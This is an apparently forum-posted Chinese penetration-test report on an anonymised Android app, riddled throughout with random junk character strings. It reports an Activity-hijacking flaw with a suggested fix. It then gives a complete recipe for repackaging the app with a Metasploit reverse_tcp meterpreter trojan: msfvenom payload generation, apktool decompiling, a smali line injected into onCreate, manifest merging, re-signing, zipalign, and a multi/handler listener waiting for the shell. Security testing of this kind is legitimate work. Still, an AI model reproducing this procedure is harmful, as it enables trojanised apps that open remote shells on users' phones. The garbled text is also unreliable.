原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

) b0 X: W9 D' k( }) S4 a5 ~$ n8 W# m

4 s3 Y5 T. K4 W2 d 0 `$ `1 P# b: H6 q1 t, f; v, K

m; e; U+ P | D6 ]

: g) r4 f; U# Y. l( i/ { : j9 J: A8 Q* q. t

' b1 d5 |3 d; x+ `6 O0 P 文档编号：                ' f: ]- r+ D0 w+ J2 v$ \- _9 e

/ \3 t! m6 v A* G% c% Q. Q" \   ; u; g& j6 @) |$ ]) k! ?

! l4 n& Z D* m/ p6 }& `) B3 X

9 X- [, E% n2 z4 {1 I$ e; r   / D# u' \* u; L: U7 ^9 b

7 I2 o. M4 s' ]- _1 P- K- C

) l, n) T5 u/ B" F/ I- k- I   * l! m, m2 |# S6 J& R$ ^

0 n0 d5 m" ^6 v" v- E/ u8 z9 ? ; U& C, @1 g$ l4 Y \3 Z. H  

/ I; ?" U; Z- l- E* w- q   ( t' @( {" N6 N ~" h: }8 p

+ _/ H# c/ L) J$ z- z+ l

L- _! p, U$ q3 t, B; V 某某某APP渗透测试

5 u1 R( O! \. T" k   + g( ?7 Y- t1 v. p: k5 L* C

E3 A& L) `# ?& R! g

/ V s7 N4 n0 p( n0 c+ o  

, r& \" R: z! c' y8 F7 C( ?

  ) ?! b0 \+ w# {5 Z! R " [/ F$ e1 m; I+ c% {

7 v& j3 T7 o m' N0 }   . D1 d8 `! V, _1 Z; o

" \# A R, ?5 f7 q' }# n; T3 x ; m T' M+ f1 @; t1 J 技 术 报 告 & d+ [/ ^3 ^) a& O' _5 i 7 O; Z$ u" s1 S. X" o

& \( f; D7 T; v$ {% I* Z" C; O5 q

  / y* A+ R4 p2 I/ G) r

: u2 O! S. \2 F' A

4 d) M5 g8 k6 F8 ]& ]! O* _ 1 l- Q1 V& U9 J1 C: u, h$ s( |   2 x1 J& _/ Q- V

) K# N1 M9 F# ? Y: N# X

5 R4 o/ T' L: I5 b' ]& P   % b% }2 A% m+ G2 ]! g4 @( a2 F % s# [, o/ [* c- w$ H

( M) h) ^: o- {& x! V

& m2 |. K) R/ ^- R* t8 k( X" e ; J' E' }+ C6 Y% U( [   3 a1 I1 c7 r) A3 S* d9 r/ }

6 x1 Q3 g/ c' s8 P- p8 _8 ] : q! `4 [" K3 v7 u" ?# C   ) F* p5 g) I* B5 k7 R # {; }! Y7 B I8 l' }: K6 C8 v

6 a# O- l; @. p0 F4 _) k

/ r" m" d2 V" k) V   . @2 i- ^5 L6 B+ ?+ @

5 U: q0 N% ?7 p6 k) I

4 q" B4 C. \6 Q% z   4 A" a/ ~6 Q2 k. c 1 _$ s Y) D0 _$ G! f

4 e* M' K X- M) H3 p& l   & P6 \( G" L8 u; M# z7 m, l 5 _' K$ k `0 \8 ]. R. Y6 M

5 F! G, a6 m/ f0 a

5 n2 i5 H5 f, i4 r, G  

/ A+ v6 Z! l" b4 ]$ i) q$ E " C5 u, B- S3 Z/ l; e6 x" ?   5 y' ?( q8 O) t2 B

8 \& @/ b" l, x. M4 X# g2 Y' Y & {% c( z+ |1 y1 ~+ o

! b; L% t) y- y; q8 C- d$ o ; V3 H( n! C: x* _   % \; {0 k: A" t' \, E$ V

1 q. Q3 G# A" W2 u" c 5 O- i) |* O2 ^6 g* d! g( Z

5 }4 v d7 P8 f0 ]8 `7 ~   & w! j) m& [! x h0 N7 S

- Y% {2 v" M6 h

# q$ b* Y: w4 ^( v, |4 t9 b ) [2 o5 y( N; A' Q3 a1 w2 R: s4 V) t   , ]" z. L: Z9 Y) e4 t; y- m1 s

5 V; J% Z* Q) L8 @8 x: W   - W% n8 _0 S* n9 j

6 n# s( g' \2 d0 C / \+ a( k5 M; F

0 t' [8 Z- i6 l7 F: X  

7 S0 w+ d8 t1 g6 ? $ L! L: q3 \+ c2 ]! g1 L8 ?5 H

8 C- P4 V- [0 _: Q   5 M" `4 A! d; s, e ; P# B3 C) [( Q; w( g1 ?

3 j/ w" g0 v( G' X8 v3 k

( e4 W6 L, s0 [) V* f: g; h5 A2 z   - n* ~; ?8 l' C1 |/ V

X. i& Q+ J7 v+ k9 y4 N   ! b2 T; P% f8 V4 {: H

y8 m3 g: y, @6 ~# l 3 x5 A) V3 u9 i3 R0 f. z

+ d' L9 f o7 |9 A- Z4 h9 \1 Z5 S6 o 二〇二〇年 2 D+ o' R, N, h8 m" b. J w

/ {) W; v$ L* @7 x0 }9 I5 \ , }1 y9 X3 y @* h( g( ^
5 U4 G" u* A7 S ' ?- @" R; N6 F* I& j/ D( c

0 z0 `5 ]2 x2 A3 g- F, k% S2 |

( X# |& i6 F( A" ]! `3 k
: w% F# E X$ _1 e7 ~5 l - l/ X& {- G# y: r" r1 K % W- l- z4 D5 k# H" S! T; ]

9 |8 j1 P. a! a6 J; X. K5 x

% Y/ X/ c" M7 _8 `7 z% b2 C! \ 目 录 2 _2 F$ t$ ^$ S1 A

) Y& e8 S" F3 z. b5 X) I

" K2 ?. U) ^7 Z1 t! H9 N   5 l j! w8 {/ b# b; l

2 x0 X0 \9 L8 J& a: Y7 K . x$ E* k& c0 z/ j2 O, z

& }6 w Z8 \0 i' ^' W3 T , |: D0 G& N) Y0 Q$ d 1 概述... 3 : W' D2 _( J% G3 v, ~ 5 Y4 Q4 v6 W5 [8 A% Z# v1 Y1 `9 W

2 B; l0 a" l2 H/ M! F . [' v/ o7 y+ L* N) _* T6 _" O

1.2测试时间... 3 3 t- q; j5 G9 L+ K8 w) V: O4 B$ h

7 D6 k) A5 W3 d

- t; R9 |2 a% N) ^6 G- { - I& c R8 ?8 a: m4 z3 U' ^& o" r 1.3测试对象... 3

# }: ? E. \' g7 V' R3 A 1.4测试结果... 3 6 Q4 h. A; P! w7 E ' |$ |1 `$ a' F0 w$ z7 J& h

: ], |6 g5 d4 Q: z8 I+ o; j

1 R5 ~# T, a6 t9 R4 K 2 检测结果... 4 3 a1 B4 ?% a' y: {+ E

9 }7 B' d$ I- L" w% D( r% Z# Q! T

2 H2 m' h5 G6 }1 v# U 2.1 某某某... 4 % r* J0 |+ M& F4 E. k; R

- k" |; Z* w' g7 B. Q, z: ?4 ]* m 0 C5 T% x0 a# w# e. L* Y) m

2.1.1检测目标... 4

0 h! L6 J5 [4 ~+ k j1 L * A" i3 g( B9 x' ^& Z

7 O% X7 j! W+ m0 ] 2.1.2检测结果... 4 / m* f- y2 K* i8 s! Z

. S5 i4 A7 A3 | w& T; e' w

: w; d/ C9 D# j' L0 P: k - @; p4 P; G' E0 v7 h7 B; K) { 2.1.2.1. 4

; `3 x! |" X/ b) \7 l! t 5 D& O: L7 Q9 n& y

; [6 C0 }* ~& E& E5 T6 y7 y' h 2.1.2.2. 6 4 R( U8 t5 B/ b# Z0 _ ' G' e$ B3 i; p" A

W; g: a" m. O' h# b - U$ `& T+ D' y9 m 1 G6 u$ P( ]) \& J4 r. O: w& D

1 `3 ~' K& G9 S8 p * `: I* p6 g5 _, C* p

8 \4 s* A$ \' e; T8 G
: y" W; V9 c+ z _0 N: R 3 B' t1 d) ]- K* n: S& }

1 概述 # x. b6 W' s! ~6 `& Y6 c

3 v M: M* }( X( o- {- n6 a" D1 S! Q

( h: h( }( ^( H 1.2测试时间 9 X, u+ m I# m, q % l( w: M1 z! R5 C- u

" b0 k- V I \6 a+ Q . W4 d/ s3 E! v, {0 ]0 ?! D0 H3 x8 I% E% n" P4 E. a2 s+ _ D; x+ U! R# J" G! S, O, o) S: m1 L {' Y7 T* ?: t& m. |" ^1 ]) w3 s5 d6 y8 }4 |- m5 f2 ?) M a* O) B% x. u# Z6 k3 c5 ^, f% v3 Y0 J3 P' F8 r8 ^" S- i2 \) Z" Q- m) R' \# H# |1 s4 E9 X+ G6 v: q$ F# m& j' }( v$ }) e' U7 J4 ^8 u& W% `, V3 u& L" l$ v+ H$ j; X4 p& N# h0 y% T2 M, V: u2 ]. L8 h ~1 _

3 w- m) a2 k9 v# }9 L" W+ w% s w. @9 Y3 x. E, q6 m0 j% F1 s# U , G1 M0 H& ^: Q) F; f' G( p 渗透测试时间 - f- \. S: i5 c l
: g/ Z) g) m7 }# e+ r Y& w 2 Y2 D: S7 x* u1 } ! f5 n2 |3 c3 z, E5 }' a 起始时间 " H' A# {6 [* d3 T, l, F/ i4 s 9 E) E. ~0 d% i7 i	5 d- p5 A3 Y+ t5 _; v 7 i' L6 w" w, V! u / d2 a8 X2 |* D, J& j1 | 2020年4月6日 ) u: r, U7 J& y* M8 w 0 o& r0 y9 b* v9 o) D+ ^1 Z4 V
, f. ^* t x1 G) P, L7 [& N 2 ?- r6 [/ l8 r) c+ g- I # s8 N6 \" ?9 s+ c2 \1 O( n 结束时间 9 @, N! O. k( ~, l	9 d- p' q+ {- R+ y5 r # G, T6 X6 N: r& ]0 l - R& G" T3 E/ X 0 ]9 s+ x E4 w& S& x$ m- T 2020年4月9日 5 ]% ]3 W$ w: ` V& P + z3 }; n. b/ e% g% n$ [/ o9 f: t6 q & X. F7 s0 x/ Z* X/ |( B

. W! g( P# S) v8 G & @0 [# |& m0 Q6 u- Y

# Y: q0 Q3 U+ D" I6 L" g' s 1.3测试对象 * G8 J6 \! R& v6 W+ Q

5 B1 A# H% x( ?. |

2 k" b& ^( p, l3 Q) n0 \. u; v 1 D4 n6 ?# f9 C7 i2 C 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： 3 D% b) Y5 L6 G1 o8 a

6 O- x! ~1 C# M . @) ]8 T5 }2 A& o' z* \( g

6 y+ k8 C) g- a0 a $ U3 \ H* b. ^ 表1-1 检测对象 / m2 m& Z# {( v8 ^- s! p

) A, A6 F. z, S$ r % ~4 J! F# F( K$ p8 d5 ]' @! r$ i9 U2 b+ t( ?' r# x/ ^& T: G7 s j4 Z- f- B l3 M" ^/ F: c, a( M9 R5 x/ J; m! w. a) Q9 F3 T% ~- Q; [/ x6 K- D6 e2 W2 T( W3 g) a; F8 P) K8 F7 h- ^7 M+ Z" V2 [; R4 M# }) V1 P3 A7 D/ T% V4 S" \" H! P) B* K0 }6 _

. H" p; R: o. |9 c 6 Z) F4 u) b! @, Q5 Q+ j : L4 C3 T8 }% q5 E& B ' R' p6 J) }, y0 N 序号 - f2 L8 O4 B0 W, V5 H 1 A+ G T# c: }8 U. l ) Q- r$ m# D3 h+ p) i	0 Q3 _+ w6 Q6 I5 y' O( j8 K 测试对象 * H! o8 S/ `) \/ m2 G( w. K( @ , g1 M) O4 K6 a4 X! r	8 h! ~: `% D1 K$ H/ w" H+ R 9 m) j5 x$ y1 p% f9 Z% ? 测试地址 - ? j3 C" T5 K4 E$ }, O+ W8 f' v+ Q " S: ~! @6 I5 m8 T" Q. } % p t5 [, L/ u' D% S# ]2 `	K% P: T N$ u4 w$ _: f( ?7 c) V Y 安全漏洞 # P, g% M8 F( U: {* \' h ; ?" i- P( I% J) F1 z3 {
+ g) D, o1 U+ B3 T3 ] 1 $ p% d3 o( |' O8 |6 X+ M; d	0 |/ G2 X4 q! u, E; ? 1 s& K% C. m, d% Q# {3 W8 z2 ]4 T 某某某安卓APP @) H L8 A# _' D+ i1 z% w) t5 C / Q0 J) o$ }% J1 a+ Q6 x7 p	) F+ C% c% t2 w   . |) e0 R& [! ~, b	) \ ~4 f& s- U, X" ?5 o+ Q$ ^ o ; l& }4 D0 P. ]# Z' a7 Y2 e 2 # m4 I- _) B5 l; _& m 9 t# N) x& z* \( Y( {1 P

# I; f$ y' t! n 1.4测试结果 0 R* e7 n' O) N8 J1 a

- S6 R, J; f% q9 O0 I5 ~

' P- E$ p) k/ s 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

. f3 P1 \. q$ _' P8 a' {# B

# u# N `/ {1 J% u3 w8 n' L. j0 d   4 v# t& [' U! Z9 N9 B

( Z3 f( r7 U$ ]/ f, {) ` - g( j/ {' o# c

, C: _% T* x9 m2 w% C$ o, [ 6 y+ k& B# |# T* r" l, ?. t' l c; K: E' j, b' _9 q6 f( D% F: A' T W p* d2 l+ ]1 L. P3 ]2 V: R; q* u' i1 x) u- Q; q& i. \. V ^! ^+ l" E# s; ~1 z6 |0 F& f. z( e: n w5 R( {5 x5 n0 t" i* G! B) V. [3 Y. B. L1 S4 k4 m8 o% ^8 @; D, Y P' [5 R' m# L, N8 Y& E# x1 F6 H! t; D9 |5 O5 z8 d9 Q. o# a8 X. t2 @' u; m, f! v* L! C$ T5 \' C3 @0 t9 Q3 I0 H( F/ M# Z, j4 r( x+ S1 {& z* {8 Z; }2 } O0 D3 T) E3 g/ ~: P9 C& w. i" [: J# L) @; d* @7 `& r# \+ ?/ x. o& _9 d2 ?! e7 X7 _3 e. v: `7 X& W1 i% c- ?& M% Y( \3 E9 N2 `4 b& A8 l! q$ K+ N0 }5 h0 Z: z% E; L7 D9 ?: l" s/ Y D3 N! a' e: p

" e% H& u, @/ j; m! [ O& k7 b. x& O 8 T5 W0 m& o. S6 D: [. o) `; D ( x8 h2 n! L8 f 序号 4 N, q& G. @9 \2 z, _ # ]" Y. v3 u6 [* ~; r# l& j * K& B8 O/ E6 x# \5 r' F2 i N	, B9 w' q6 W4 k' e! `' `" e$ V/ x - g. B I& f; O, A7 Z 系统名称	; e5 m" E5 \2 r/ H) h5 q& [ " G# r. D0 R8 a, Z( M) F 漏洞名称 , F0 `2 R, k+ _4 h( T/ ?* n3 b	. n! I n) V- F* L - k8 {# A# H* j9 \/ l5 C* u 3 c/ ~5 M+ J6 f$ m1 r3 B 漏洞危害 7 B! M( d# b3 M5 u 9 e" ]$ f/ L* y; `+ Y	, h: U8 I" D% Z% y6 O & E. B% I" M) E9 ?& a# M: l- V 修复结果 & Y) L' C$ b0 V8 q; ]
1 R @+ a, b" Q; b ! M G& V/ {" @8 B5 h , C$ m8 f: A2 H. p 1 & A, ^$ G7 ^, g! p8 L( J) O * W; W. e3 S/ R) ] 9 Y3 x2 O: }( A. n	$ Y( Y Z- T1 o0 j 某某某某某某APP 6 c4 r0 y7 U2 z0 v : o5 f. o% S% D: @1 t% q) m5 m	: C- G0 D0 w6 [9 Q; u- V3 T % } Q$ J H9 u% | , W9 Z; E, \0 E+ O0 }: ^ Activity 劫持 4 Z+ F& Y- q1 b3 r" c # S* } Y% E0 q6 \1 C6 Y   . O7 r# W3 j& H, l6 o7 R% s	" P# w8 [. Y+ Q! c4 S 高 " S5 ]/ z) U* ]+ O' D , h p6 }& y4 j& J) d9 q 0 K4 O7 h) `) ^- t3 |" F3 I/ j	# q: ]3 K" J: q c' J6 |! a+ J 6 E9 Y: d! s8 R! P : m" a- i C( B( r   - l) ^ D/ K7 n# s8 W& L
! `! s% T2 R& k ' D8 o! T! ]( N% g: l" I6 L- i 2 ; k) z7 }# o2 c7 a" H2 Q ; D, D+ [9 `+ t; r) G, V	! F2 ?4 K5 D" Q" w# @9 @& s 5 |, h7 T: o+ C* v- _1 S 某某某某某某APP ' ~, y" h6 {; G! J A$ e& f7 S2 d7 u& B	+ ^ w/ m3 S) e. w # |& K! O2 E& N, J& d 反编译二次打包捆绑木马、篡改APP代码 / N0 _3 A% j/ k# t. `	, Y0 _$ f- ?0 V: S! d 高 - |- b2 n3 D: `" ], S6 [# c 7 z7 ~, Q1 l8 ?& [; n$ a: [	9 O! n- t/ h& d2 e k) t / }9 O, R! w0 Q$ k ) d: ~; o3 b5 T b+ S8 ~   3 i4 \$ @2 c& \ " x$ M& W8 k. y

' [+ A& {8 K+ D# e% h 9 {- V; [$ J1 m

p7 Q1 y$ V+ O0 u h/ \1 _- n( K1 U , x7 q6 r+ F) _% ?3 c

  4 }" ]+ q4 n9 _( j+ s# p4 G8 {9 q

. H6 w) u7 H5 W3 ] 6 M0 s+ u" T3 o* a/ _

) ?$ B) z$ h3 c0 k, i# a 表1-2 测试结果 - V7 _' J3 V4 w4 ]4 N5 w2 f' z: M

/ c( ~4 K: t- A3 Z8 | u   . L, o) M M! ~6 B0 |

/ E7 h. C/ R6 m V: i( _( q 2 检测结果                   

' h5 E- w2 p5 E: i7 \' e

2.1 某某某 + s0 j% s$ L) \5 z ?

9 P; N2 X2 a' q9 V' o 2.1.1检测目标 2 }* C7 E) i2 d

9 d8 Z6 Z" C# w2 b# G% P# X 目标地址： 某某某某某某APP $ x" i. P3 a) F' G+ }' r7 J. R- V, C 3 t N% K2 k0 B' F$ {" c5 |2 }( ?

1 G, q9 k1 }7 v! T! m

3 e- E( R0 |& l$ U 2.1.2检测结果 & h1 R- R/ j& ? ]& T- a

$ V6 v! ^7 W; ~

( `: p; B" q( J" M! g" F) d( w 2.1.2.1 ( w/ I' `! [7 b) w/ ` : g, W" P) }/ p4 I6 `) R

/ d, ~1 |3 F' R ?3 K8 J1 _0 y+ J6 z( N 2 m9 E# v8 t: ?' h8 U

! B2 D* S `& E ) w/ V7 i! c4 F# l 漏洞链接地址：某某某某某某APP 3 c; t m+ \! g ! t6 X& f& Y) U) \% Q/ y0 G6 O" q/ X

* m: `9 y0 ]; a& q

: A* Z; E/ c* \1 ?( A+ Y 6 ]5 U2 ^) ]& }   2 R& I" T1 @& y% K : p8 o; p& L" E$ l* l" W2 `

8 c0 P f A# r8 G% [* w % F- J8 p' [7 i) \9 z2 G7 l. P

漏洞分析及取证： ; L9 k6 i4 `6 {8 u8 P5 o

5 N* k! V( |% C3 s; Z$ S, ]6 ^

: L3 C; \7 y. q2 e' Q" i" h                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

9 n3 e# I4 M% W' O1 a

; [: M. ]1 L9 M$ L      , R- ^' m# e$ w- _. |- E6 z

; S; c9 ]; r. f: L

7 \$ t/ f4 E4 Y7 ~" A ( ]0 l! a. Y9 L" O/ d                      

, @& U) c1 K5 t' D; B

@% y$ Y8 |; {! v: @ ( z" O; A1 J1 M8 Z* d4 {) v

9 c) Q! s p2 Q* g

2 E1 n+ o- |0 S3 |: q/ V( @ 4 W9 Y2 G2 e$ q! P# ?2 n 6 |. k: P: F: ?& u; e

6 a7 G7 w( o7 T+ Z

" z6 j# r+ w, }6 d! @6 F& J+ H* O" y * H( [) V4 f; G5 H: B+ y2 y * H b: ]5 @' E! o

* }- L4 }2 b1 X4 D3 ^

0 Q' ^. R& {2 \: }( D 漏洞危害：高 , ]+ J# M6 v+ V$ S! n$ o

5 u" F, i8 ?8 `& P4 M2 s

/ H0 d, C3 t: b; u5 ^$ @ 2 o* U9 g/ `4 G" {) z. B8 H8 G( A2 p$ ]9 i: t% H/ t! `2 {# l1 b5 w' K# c* ~4 L7 J7 h# k) ^9 T' C/ j6 n. @- c1 a4 X( `4 N) O% K9 ?& w3 M. S' `3 x: O9 j) W1 f+ _8 R6 {5 c/ u4 r: k% ?7 ~- ^7 d1 R: ^( x: G) W" ]0 l+ Z2 f3 r( r1 i* M* @. h/ j3 I' ~% ?3 B% {2 a, q! P, t y: Z A# Z* W4 J! q5 _# }1 j _* ^: q7 K$ V. h' T6 K; K

严重程度 - Z, {3 T) C3 V( Y	& N& D0 d2 R" ^7 t% w+ _% O4 d ' O7 I# G/ k* I, d, L $ C$ n3 H! d5 g 高 - [( j* c/ [. d0 h8 o) A 4 J1 s L7 R* P `9 [! @- G# c 7 z. l6 A" e8 L	' {7 [7 n' f' R6 @ % p! ?5 d' F& K7 U) h3 h ■ 3 B" f! {% V% k5 e( t8 u3 B/ f 2 Y6 E/ q8 ?& U; w/ P	( w" m: R" A, F0 D5 S0 H # k5 U/ ?6 d, r * U q+ w, m$ C f$ A( t- y4 f& q# s 中 4 t/ e7 A+ M* I# n A3 `* R1 m' V 6 T( e7 P9 f) ` F9 \2 S	( x4 k: w, `# d2 w 1 \) ], X, O0 `$ u V   0 k" p% g8 S) W3 [	( D, |) e1 L0 h4 S$ s, u ! Q0 c, E1 v/ a/ |' A% M, l 低 7 A8 l1 N$ K5 {: s$ ]8 z" s `, ?, Z ?9 l1 X# v: P* x' q5 v	2 b4 s5 ~1 Z* I: S4 O. ~( G   , p# H4 t" P2 e: o& ]4 |; N% u - k0 o5 z6 N5 r4 l$ g

# ]1 T: V$ d/ S2 l& N+ v, ^, c8 k

: c# |5 \% x# i: m3 A& q7 @7 o $ N8 p+ m# N! P" x" E; q S

  4 @' ]$ f( J R( z! R5 c

9 ?, @4 O3 Y. o0 Z7 N " E- z% r) R( s2 X! i8 c( X- |

5 e% r" q# _- D9 F 4 f- N3 H( L/ h: [ 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

3 Y& |. {: Y% Q

8 R: a0 f, U$ O1 f+ f6 m$ H: W           4 K l( h5 U ^) Z0 ~* q& I1 F

& K' s* l a5 d5 }% e6 X

: J* ~& c3 N7 U( u   $ e# {7 t# Z Z( I$ G& ]

" f- u2 I$ e; v% D 7 y2 H; G! c) f1 T3 ?/ V 2.1.2.2

$ |/ m* d- B, H0 `) Z* t, w* J; H

0 x/ e, {6 g6 |% e 漏洞链接地址：某某某某某某APP

5 Y* {" P y6 s3 H3 j

漏洞分析及取证：

# k9 Y, k0 ^* Z6 J Q( F

1 R% h3 A+ O4 s+ `                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

- Y8 O' W# J- v5 Y% M3 t# Q ! l! K0 T8 C, w- U' R

% L. w, {* n; d/ G: A' c! n 6 r1 }- K6 K% J* U 用Metasploit 生成木马 apk

" I! \0 q; o' {8 J+ @

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk ) h/ r6 r/ E: K" L! F/ O

反编译目标apk和木马apk . h( W0 s% X0 j! ?' }) s) Q, G

6 T% j) t3 e1 t

* c: O$ t) E( P& [& [, K : v9 x1 h$ d) R4 h apktool d target.apk
, t. p- x9 S0 k/ R- f 9 @. I9 T+ U4 t5 E- ]8 n5 I apktool d cockhorse.apk

g! v/ }# N9 r8 B8 N6 S* Q3 ~

木马 apk 注入目标 apk , H7 T6 y/ K) E0 t

) ^( s0 G, L2 s& z 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
/ G ^! u% p/ Z+ @( | , b( |* b7 r) d G1 e3 r4 a% ? invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ) `' j: E4 P. ~* k

( F3 h% p$ A: a' ^6 t- J / L4 [2 y. a3 ` s& j

将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 4 c$ x% ]1 v2 }# |5 P7 |7 R- A6 A

将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下

# L h& M/ q6 m4 p

' ^* n0 y* j6 M, ]# H 回编译生成最终 apk 4 n0 D1 ]; A) Z: m4 U

+ \3 q3 _( l# x2 P$ j' g1 C 3 v3 c f( \& r& C) B

" {9 f9 d, c" d/ }$ |% I 重新打包 ' G" w% @3 z* _9 z8 c6 j, V

apktool b -o repackage.apk target_app_floder 7 }: U: x' e% |5 ]) \! m# S

; R: d! J6 C* ^& i

. s0 V- x1 b$ G9 S' W4 ~ 创建签名文件，有的话可忽略此步骤 ' b/ H9 N6 D' c

6 Y2 ]9 ^7 Y, j) g; `' ]

1 c. s' f- K( M; \ keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000                l( B5 V ^* a+ j' z0 n 3 k5 q4 d0 Z( ]; Y

2 y+ f7 R( G1 Z8 Y2 ]. C! p + _* o5 r, b2 l- W5 M2 Y 签名，以下任选其一 % Q0 m" `) m1 n6 O P / ^ F$ M: v2 ~# I

2 v+ Y# x, U' O; T1 L3 j1 @ " o$ P7 Z9 Z1 m* o

0 |. l0 ~0 C5 n- y8 B; M jarsigner 方式 ; f0 h! d. N# B5 M

i/ q. A8 J8 s " |8 v$ v( F/ O. ]

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ( w6 I- F; h$ e; V) ^3 K% Z& n

6 K3 }! N2 R o# l apksigner 方式 * E" H0 k% d4 ]

% {8 i0 j6 n6 f. c 7 F# H. b. I9 E- Q

- A' K# w8 S" p3 J8 ~( C apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 5 U8 r/ q1 j& A7 }, g5 ?; K

如需要禁用 v2签名 添加选项--v2-signing-enabled false

3 Y$ d6 v6 y7 A0 } E- B3 o 验证，以下任选其一 7 U& }, D" i) E% V9 F* r

" c! t; v! i/ G+ Q* z3 N

jarsigner方式 # p& X! v) ~ ~: y4 Z

# k0 ^9 z9 `& j! o6 w

jarsigner -verify repackaged.apk

5 V" n, h4 v. O/ v3 I

apksigner 方式

/ i# R& R% D$ V! p! ]

/ f& F r9 H. x3 R* y' m/ w) O apksigner verify -v --print-certs repackaged.apk

, V0 }- H, z* I+ Q" Z9 J+ u 6 ^( J9 M% T4 c. Y3 L8 ~

* G: w, V G' Y, S( ?) v' o+ V" }; m 7 F* ?% C0 |# B G1 d% a5 W keytool方式

7 R) ?3 o/ ~* E' q& i

: O3 h) C7 U x" S 3 _& s9 \7 o7 r1 z; L9 a" Z keytool -printcert -jarfile repackaged.apk & R( ~; K3 `8 [ z2 _( {9 I8 ?8 W

' D I \- R Q% c- N 对齐 # z4 I* l# G7 E. P

/ S3 w, ^$ m( X4 \# a

7 F% c$ [: P9 T9 k* `5 v% s8 u 字节对齐优化

: e( h% r0 U0 t ^; P$ h . P. I: @: c1 N9 _& }2 l

4 t9 _9 H. n4 l R* T zipalign -v 4 repackaged.apk final.apk * q: ]6 a5 Z' i4 z+ o9 `9 x: M- f ` 8 Z5 N* K" o0 t! j) s

. F$ w! C0 i) [8 j 检查是否对齐

# F4 t* r* ]0 H e; d$ d* `

( f4 S: A/ n2 g8 d# U& H 9 r+ r- e' i! E ~( L: b W! E zipalign -c -v 4 final.apk 6 h& ^3 k1 A4 U% M) \& l

9 i4 }: R4 P' K' J0 u

注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 " t- a0 @9 l: p

. W( ?8 p. n' I* E, u: D9 M

: _ Z4 j! o: |* |0 Q" S4 ] 启动Metasploit控制台，配置参数等待上线

2 H5 ~' b* c6 n( i7 f# P' ?+ \ 在终端依次输入如下命令 ' d6 K( b9 J) Z: t# X

! M) v/ B. s1 a Z

msfconsole 5 I& m# g& \" Q; u

$ }, v8 h; ]9 g6 w5 z' q $ w0 ]/ V; U. {" T8 p# r9 j

use exploit/multi/handler 4 b! N- A2 i) i. B/ U" O& \- J

3 `( w8 |- d6 ?! U set PAYLOAD android/meterpreter/reverse_tcp / K& H# b$ \2 P

. u2 t- m1 _2 R0 `4 F6 {

9 F" W, A; z. {* q; w$ H' U + ?, y. I# ~8 x' {/ T set LHOST 192.xxx.xx.xx

l0 G, H6 Q0 c2 p( n+ L, {

: f, I5 @6 A3 x % l3 u, [: f, A% T" G set LPORT 4444 8 a' M1 F, C+ U9 g0 U

' A; w; e- R- k8 ^ - l' L8 S% Q3 H* O5 a) _; M2 ~4 u! x

4 I- T; P( E" ]9 ^( L% O % M0 u* q2 N: _& d7 {" {1 Y9 Z! O* M exploit ! C" ^$ X6 q: I5 T2 `. @: L ( q: f n" ]' _/ c# y

w5 j. s+ Q% f. U: K8 i. |7 B 2 k! ]: Z. \! J1 } 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：               2 M* G& w$ n0 f( I( I! C

- m7 k- \& E) J; j3 V4 W4 f

漏洞危害：中 * D2 U* k* _; A( f! p; z& B0 p / i* y; E! ?$ a& C ~6 g+ k

6 f8 o1 P' H3 V3 T- b3 i

& j; y/ J! h' r * f6 u r4 W0 `* F6 S , a& P- \$ r$ x5 x . t. T4 D8 x3 s% g1 V7 j Q6 t; s7 s5 R6 _" J+ ~. N, [, T* n9 Z2 |6 G' Z% K+ ~" Q1 k- V( V. n8 I4 d* \2 L2 I% X% o; b- t o3 D# E* J+ w' @, Z" t! f% V. M5 i8 d3 i* c4 Z$ E, d% o: o; e, z8 ]" @8 P! V) ?9 p/ i$ q+ k+ `( N7 ?' c& g% A3 ~/ k$ Z0 ]4 } ~. z, P5 y0 l$ {, B) m1 E/ c; v0 X! f+ [- n6 C; [3 {2 \- {: J5 C, h* x& D% g' N5 \! |% o( J- e4 W O0 O5 A

) N1 g6 \& K, x3 p" I3 k' k8 z % w6 B: u5 n4 w; m+ x" Z' c 严重程度 " W) Q) C1 \- x3 | : B& D3 c/ A r4 P6 d9 }* x! G 8 P4 U5 k0 t$ E: s- ^" Z	. r1 M7 }* F, V2 o$ G5 | 高 9 {+ x2 i0 |( V; ^" I l' @0 \ 8 i1 [5 _- p. Q O! X! B+ i5 K " A( N6 E; c# v( }	( g) |2 T+ z+ i; D k( h % K7 c/ |& ~8 L# u) d @ 4 X3 K2 O7 J& V# V* P; k( d ■ 6 U) @& g# Q: K$ v2 z 1 M( i, I& M$ e% s8 j" C2 A6 Y5 t1 }" b % F1 {3 L+ \& r. f	3 E; r; R3 `7 ]' Q y' z) j0 X+ ]- i! p! V9 f 中 7 i- i, O+ g6 p$ u& f8 }8 \ & b) B2 m3 J$ t! t8 G * O( G8 R# @; f. q! y 8 l% E- _1 v+ F; \	1 e' B, i0 Z$ [8 K : z9 [8 c$ Q2 {" Y- y/ x6 w2 K9 i ' L) U- }( }2 X" L ! Z# o) ^# {$ J& F- }/ l% d   . h( h4 r+ 